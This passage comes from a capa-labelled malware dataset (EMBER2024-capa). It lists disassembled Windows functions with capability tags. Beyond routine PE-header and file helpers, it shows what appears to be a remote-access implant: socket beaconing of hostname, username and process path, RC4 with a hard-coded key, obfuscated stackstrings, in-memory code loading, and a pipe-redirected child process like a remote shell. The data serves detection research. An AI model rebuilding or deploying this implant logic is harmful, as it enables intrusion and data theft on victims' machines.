joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400837b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400837fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400837fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400837fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400837fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400837fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140083800
xor al, al
add rsp, 0x28
ret

Function at 0x1400871b8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140087023
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140087023
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140087023
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140087023
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140087023
cmp dword [rcx + 0x84], 0xe
jbe 0x140087023
cmp dword [rcx + 0xf8], 0
je 0x140087023
mov ecx, ebx
call fcn.1400870d4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140086eb0
nop
cmp dword [rbp + 0x20], 0
je 0x140087071
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14008707c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140086fb4
Function at 0x14009805c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400980e3
mov rsi, rbx
cmp word [rax], bp
je 0x1400980a2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14009808c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140098088
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14009567c
mov rdi, rax
test rax, rax
je 0x1400980d0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140084f40
mov rbp, rdi
xor ecx, ecx
call fcn.140093a4c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009bc58
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14009bc6e
mov al, 1
jmp 0x14009bcce
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14009bc7f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14009bccc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140098800
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14009bccc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14009bccc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14009bccc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14009bcce
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14009e230
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14009e258
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14009e258
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1da1f031070
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x1000
call fcn.1da1f039dc0
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov rbx, rax
call fcn.1da1f03cbd0
mov ecx, 0x1000
mov qword [rbp + 0x1a8], rbx
call fcn.1da1f039dc0
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov rbx, rax
call fcn.1da1f03cbd0
mov ecx, 0x202
mov qword [rbp + 0x1b0], rbx
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
lea ecx, [rdx + 1]
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x198], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, qword [rbp + 0x198]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 1
lea r9, [rbp + 0x198]
mov rcx, rax
mov dword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 2
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea rcx, [rbp + 0x1b8]
mov byte [rbp + 0x1a0], 0
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rbx, qword [rsp + 0x50]
mov rax, rbp
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1da1f031360
Capabilities:
Connect socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rbx, qword [rcx + 0x28]
mov rdi, rcx
mov esi, dword [rcx + 0x78]
mov rcx, qword [rcx + 0x70]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1da1f03157f
mov rax, qword [rax + 0x18]
movzx ecx, si
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], r14
mov rdx, qword [rax]
mov eax, dword [rdx]
mov dword [rsp + 0x74], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbx + 0x198]
lea rdx, [rsp + 0x70]
mov word [rsp + 0x72], ax
mov eax, 2
mov word [rsp + 0x70], ax
lea r8d, [rax + 0xe]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1da1f0313de
mov byte [rbx + 0x1a0], 1
mov rcx, qword [rbx + 0x198]
lea r9, [rsp + 0xa0]
xor eax, eax
mov dword [rsp + 0x50], 1
mov edx, 0xffff
mov dword [rsp + 0x54], 0x2710
mov dword [rsp + 0x58], 0x1388
mov qword [rsp + 0x60], rax
lea r8d, [rax + 8]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0xa0], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbx + 0x198]
lea rax, [rsp + 0xa8]
xor r14d, r14d
lea r8, [rsp + 0x50]
mov qword [rsp + 0x40], r14
mov edx, 0x98000004
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 0xc
lea r9d, [r14 + 0xc]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSAIoctl]
lea ecx, [r14 + 0x20]
call fcn.1da1f039dc8
xor edx, edx
mov rcx, rax
call fcn.1da1f034d80
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.1da1f034ca0
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi]
mov rdi, qword [rdi + 0x28]
mov ebx, dword [rcx + 4]
mov rcx, rsi
call qword [rdx]
movzx ebp, ax
mov rax, qword [rsi + 0x10]
add ebp, ebx
test rax, rax
cmovne r14, rax
cmp byte [rdi + 0x1a0], 0
je 0x1da1f031547
cmp ebp, 0x1000
jg 0x1da1f031547
lea rcx, [rdi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rdi + 0x1a8]
xor edx, edx
mov r8d, 0x1000
call fcn.1da1f03cbd0
mov rcx, qword [rdi + 0x1a8]
mov rdx, r14
movsxd r8, ebp
call fcn.1da1f03c520
cmp byte [rdi + 0x1a0], 0
je 0x1da1f03153a
mov rcx, qword [rdi + 0x1a8]
mov edx, 0x1000
call fcn.1da1f033be0
mov rdx, qword [rdi + 0x1a8]
xor r9d, r9d
mov rcx, qword [rdi + 0x198]
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rdi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsi + 0x10]
mov r14, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
test rcx, rcx
je 0x1da1f031565
call fcn.1da1f039db8
mov edx, 0x18
mov rcx, rsi
call fcn.1da1f039db8
mov al, 1
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x1da1f0319e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rbx, qword [rcx + 0x38]
mov r14, rcx
lea rcx, [rbp + 0x27]
mov rsi, rdx
call fcn.1da1f032a70
mov r8, rax
lea rdx, [rbp - 0x69]
mov rcx, rbx
call fcn.1da1f035c90
mov rdx, qword [rbp - 0x69]
xor r15d, r15d
test rdx, rdx
je 0x1da1f031b6d
cmp dword [rdx + 8], 2
jne 0x1da1f031b6d
mov rdx, qword [rdx + 0x40]
lea rcx, [rbp - 0x59]
call fcn.1da1f0388e0
lea ecx, [r15 + 0x18]
call fcn.1da1f039dc8
movups xmm0, xmmword [rbp - 0x59]
mov rdi, rax
lea rax, vtable.SRReporter_class_CoreClient_.0
movups xmm1, xmmword [rbp - 0x49]
lea rcx, [rsp + 0x20]
mov edx, 0x5671644f
movaps xmmword [rbp - 0x19], xmm0
movups xmm0, xmmword [rbp - 0x39]
mov qword [rdi], rax
lea rax, [0x1da1f031900]
movaps xmmword [rbp - 9], xmm1
movsd xmm1, qword [rbp - 0x29]
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], r14
mov r14, qword [r14 + 0x40]
movaps xmmword [rbp + 7], xmm0
movsd qword [rbp + 0x17], xmm1
mov dword [rsp + 0x20], 0x65006b
mov dword [rsp + 0x24], 0x6e0072
mov dword [rsp + 0x28], 0x6c0065
mov dword [rbp - 0x7d], 0x320033
mov dword [rbp - 0x79], 0x64002e
mov dword [rbp - 0x75], 0x6c006c
mov word [rbp - 0x71], r15w
call fcn.1da1f038ef0
mov edx, dword [rbp - 0x29]
lea r9d, [r15 + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call rax
mov rdx, rax
lea rcx, [rbp - 0x19]
mov rbx, rax
call fcn.1da1f038a80
mov rcx, qword [rbp - 0x11]
lea edx, [r15 + 1]
xor r8d, r8d
mov r9d, dword [rcx + 0x28]
mov rcx, rbx
add r9, rbx
call r9
mov edx, 0x15785d62
mov qword [rbp + 0x67], r15
mov rcx, rbx
call fcn.1da1f038e30
lea rdx, [rbp + 0x67]
mov rcx, rdi
call rax
mov rax, qword [rbp + 0x67]
mov qword [rax + 8], rbx
movabs rax, 0xaaaaaaaaaaaaaaa
mov rbx, qword [r14]
cmp qword [r14 + 8], rax
je 0x1da1f031c0b
lea ecx, [r15 + 0x18]
call fcn.1da1f039dc8
mov rcx, qword [rbp + 0x67]
mov qword [rax + 0x10], rcx
inc qword [r14 + 8]
mov rcx, qword [rbx + 8]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov qword [rbx + 8], rax
mov qword [rcx], rax
mov rcx, qword [rbp - 0x61]
test rcx, rcx
je 0x1da1f031ba7
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1da1f031ba7
mov rbx, qword [rbp - 0x61]
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x1da1f031ba7
mov rcx, qword [rbp - 0x61]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1da1f031bdd
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1da1f031bd8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1da1f031c18
mov rcx, r8
call fcn.1da1f039db8
lea r11, [rsp + 0xf0]
mov qword [rsi + 0x10], r15
mov rbx, qword [r11 + 0x28]
mov al, 1
mov rdi, qword [r11 + 0x38]
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r15b
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rcx, str.list_too_long
call fcn.1da1f039658
int3
call fcn.1da1f04102c
int3
Function at 0x1da1f032740
Capabilities:
Get hostname
Get session user name
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x450
mov rdi, rcx
mov dword [rax + 8], 0x40
lea rcx, [rax - 0x2a8]
mov edx, 0x80
call qword [sym.imp.WS2_32.dll_gethostname]
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8d, 0x104
lea rdx, [rsp + 0xb0]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
lea rcx, [rsp + rcx + 0xb0]
mov rdx, rcx
dec rcx
cmp byte [rcx], 0x5c
jne 0x1da1f0327c5
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r9d, ebx
lea r8, [rsp + 0xb0]
lea rdx, str._s:_d
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x1c0]
lea rdx, str._s_s_s
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x20
call fcn.1da1f039dc8
mov edx, 6
mov rcx, rax
call fcn.1da1f034d80
mov rsi, rax
mov rcx, 0xffffffffffffffff
lea rax, [rsp + 0x240]
cmp byte [rax + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1da1f032850
lea r8d, [rcx + 1]
mov rcx, rsi
lea rdx, [rsp + 0x240]
call fcn.1da1f034ca0
mov rax, qword [rsi + 8]
mov rcx, rsi
mov rdi, qword [rdi + 0x28]
mov ebx, dword [rax + 4]
mov rax, qword [rsi]
call qword [rax]
xor r14d, r14d
movzx ebp, ax
mov rax, qword [rsi + 0x10]
add ebp, ebx
test rax, rax
cmovne r14, rax
cmp byte [rdi + 0x1a0], 0
je 0x1da1f03291d
cmp ebp, 0x1000
jg 0x1da1f03291d
lea rcx, [rdi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rdi + 0x1a8]
xor edx, edx
mov r8d, 0x1000
call fcn.1da1f03cbd0
mov rcx, qword [rdi + 0x1a8]
mov rdx, r14
movsxd r8, ebp
call fcn.1da1f03c520
cmp byte [rdi + 0x1a0], 0
je 0x1da1f032910
mov rcx, qword [rdi + 0x1a8]
mov edx, 0x1000
call fcn.1da1f033be0
mov rdx, qword [rdi + 0x1a8]
xor r9d, r9d
mov rcx, qword [rdi + 0x198]
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rdi + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x1da1f03292b
call fcn.1da1f039db8
mov edx, 0x18
mov rcx, rsi
call fcn.1da1f039db8
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1da1f0330c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rdx, rcx
lea rcx, [rbp - 0x29]
call fcn.1da1f0388e0
movups xmm1, xmmword [rbp - 0x29]
xor eax, eax
mov edx, 0x5671644f
movups xmm2, xmmword [rbp - 0x19]
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x65006b
movups xmm0, xmmword [rbp - 9]
mov dword [rbp - 0x45], 0x6e0072
movaps xmmword [rbp + 0x17], xmm1
movsd xmm1, qword [rbp + 7]
movsd qword [rbp + 0x47], xmm1
movaps xmmword [rbp + 0x27], xmm2
movaps xmmword [rbp + 0x37], xmm0
mov dword [rbp - 0x41], 0x6c0065
mov dword [rbp - 0x3d], 0x320033
mov dword [rbp - 0x39], 0x64002e
mov dword [rbp - 0x35], 0x6c006c
mov word [rbp - 0x31], ax
call fcn.1da1f038ef0
mov edx, dword [rbp + 7]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rax
mov rdx, rax
lea rcx, [rbp + 0x17]
mov rbx, rax
call fcn.1da1f038a80
mov rcx, qword [rbp + 0x1f]
xor r8d, r8d
mov r9d, dword [rcx + 0x28]
lea edx, [r8 + 1]
add r9, rbx
mov rcx, rbx
call r9
mov edx, 0x3c050f74
mov rcx, rbx
call fcn.1da1f038e30
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rbp
jmp rax
Function at 0x1da1f033be0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x410
movsxd rdi, edx
lea rbp, str.m5b1u3
mov r11, rcx
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rax + rbp], 0
jne 0x1da1f033c06
movdqa xmm2, xmmword [0x1da1f066c70]
lea r8, [rsp + 0x28]
mov qword [rsp], 0
mov edx, 8
nop dword [rax]
lea ecx, [rdx - 8]
movd xmm0, ecx
lea r8, [r8 + 0x40]
pshufd xmm0, xmm0, 0
lea ecx, [rdx - 4]
paddd xmm0, xmm2
movd xmm1, ecx
movdqu xmmword [r8 - 0x60], xmm0
lea ecx, [rdx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, edx
movdqu xmmword [r8 - 0x50], xmm1
add edx, 0x10
movd xmm1, ecx
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [r8 - 0x40], xmm0
lea ecx, [rdx - 8]
paddd xmm1, xmm2
movdqu xmmword [r8 - 0x30], xmm1
cmp ecx, 0x100
jl 0x1da1f033c30
xor r8d, r8d
movsxd rbx, eax
xor r10d, r10d
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
add r8b, byte [r9 + rbp]
lea rcx, [rsp + 8]
mov edx, dword [rsp + r10*4 + 8]
add r8b, dl
movzx r8d, r8b
mov eax, dword [rcx + r8*4]
lea rcx, [rcx + r8*4]
mov dword [rsp + r10*4 + 8], eax
lea rax, [r9 + 1]
xor r9d, r9d
mov dword [rcx], edx
inc r10
cmp rax, rbx
cmovl r9, rax
cmp r10, 0x100
jl 0x1da1f033cb0
mov r9d, dword [rsp]
mov rbx, rdi
mov r10d, dword [rsp + 4]
test edi, edi
jle 0x1da1f033d40
nop
inc r9b
lea rdx, [rsp + 8]
movzx r9d, r9b
lea r11, [r11 + 1]
mov r8d, dword [rdx + r9*4]
lea rdx, [rdx + r9*4]
add r10b, r8b
movzx r10d, r10b
mov ecx, dword [rsp + r10*4 + 8]
mov dword [rdx], ecx
add cl, r8b
movzx eax, cl
mov dword [rsp + r10*4 + 8], r8d
movzx ecx, byte [rsp + rax*4 + 8]
xor byte [r11 - 1], cl
sub rbx, 1
jne 0x1da1f033d00
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1da1f033d60
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [rdx]
lea r8, [rbp - 0x80]
xor esi, esi
mov dword [rbp - 0x80], 0x18
mov qword [rdx], rsi
xorps xmm0, xmm0
mov qword [rcx + 0x28], rax
mov rdi, rdx
movups xmmword [rcx + 0x30], xmm0
mov rbx, rcx
mov dword [rbp - 0x70], 1
lea rcx, [rsp + 0x50]
mov qword [rbp - 0x78], rsi
xor r9d, r9d
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xorps xmm0, xmm0
lea rdx, [0x1da1f0669d0]
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x58], rax
xor r8d, r8d
mov rax, qword [rsp + 0x58]
xor ecx, ecx
mov qword [rbp + 0x10], rax
movups xmmword [rbp], xmm0
mov qword [rbp + 8], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x28], esi
movups xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x50], 0x68
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x10], si
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x14], 0x101
movups xmmword [rbp - 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rsp + 0x50]
mov rax, qword [rbp - 0x68]
lea ecx, [rsi + 0x10]
movups xmm1, xmmword [rsp + 0x60]
mov qword [rbx], rax
movups xmmword [rbx + 8], xmm0
movups xmmword [rbx + 0x18], xmm1
call fcn.1da1f039dc8
lea rcx, [0x1da1f033f30]
mov r9, rax
lea r8, [0x1da1f032fd0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov qword [rax + 8], rbx
mov dword [rsp + 0x20], esi
call fcn.1da1f040cf8
mov qword [rsp + 0x70], rax
test rax, rax
je 0x1da1f033f13
cmp dword [rbx + 0x38], esi
jne 0x1da1f033f0d
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rbx + 0x30], xmm1
mov byte [rbx + 0x40], 1
mov rcx, qword [rdi]
test rcx, rcx
je 0x1da1f033ef1
lea edx, [rsi + 8]
call fcn.1da1f039db8
lea r11, [rsp + 0x120]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1da1f040dd8
int3
mov ecx, 6
mov dword [rsp + 0x78], esi
call fcn.1da1f039434
int3
Function at 0x1da1f034130
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov byte [rcx + 0x40], 0
movzx edi, dl
cmp dword [rcx + 0x38], 0
mov rbx, rcx
je 0x1da1f034224
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbx + 0x38], eax
je 0x1da1f03422f
movups xmm0, xmmword [rbx + 0x30]
xor edx, edx
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
call fcn.1da1f039770
test eax, eax
jne 0x1da1f034219
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rbx + 0x30], xmm0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test dil, dil
je 0x1da1f0341f3
mov ecx, 0x20
call fcn.1da1f039dc8
mov edx, 4
mov rcx, rax
call fcn.1da1f034d80
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, rax
call fcn.1da1f034ca0
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x1da1f0341cc
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax]
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x1da1f0341f3
cmp qword [rdi + 0x10], 0
je 0x1da1f0341e6
mov rcx, qword [rdi + 0x10]
call fcn.1da1f039db8
mov edx, 0x18
mov rcx, rdi
call fcn.1da1f039db8
mov rcx, qword [rbx + 0x28]
mov qword [rbx + 0x28], 0
test rcx, rcx
je 0x1da1f03420e
mov edx, 8
call fcn.1da1f039db8
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 2
call fcn.1da1f039434
int3
mov ecx, 1
call fcn.1da1f039434
int3
mov ecx, 5
call fcn.1da1f039434
int3

Function at 0x1da1f0363c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x1da1f036458
test r8, r8
jle 0x1da1f036450
nop word [rax + rax]
mov rcx, rdi
call fcn.1da1f0377f0
test rax, rax
jle 0x1da1f03642e
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.1da1f03c520
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x1da1f036448
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1da1f036450
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x1da1f0363f0
sub r14, rbx
mov rax, r14
jmp 0x1da1f0364d6
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], r15
mov r9, qword [rax]
test r9, r9
je 0x1da1f036471
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1da1f036473
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x1da1f0364cb
test ecx, ecx
jle 0x1da1f0364ac
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.1da1f03c520
mov rax, qword [rdi + 0x58]
add rbp, rsi
sub r14, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x1da1f0364cb
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1da1f0364cb
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.1da1f041cf0
sub r14, rax
mov r15, qword [rsp + 0x40]
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1da1f0364f0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1da1f036512
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1da1f03658c
mov rdi, r14
mov rcx, rbx
call fcn.1da1f037810
test rax, rax
jle 0x1da1f036564
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1da1f03c520
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
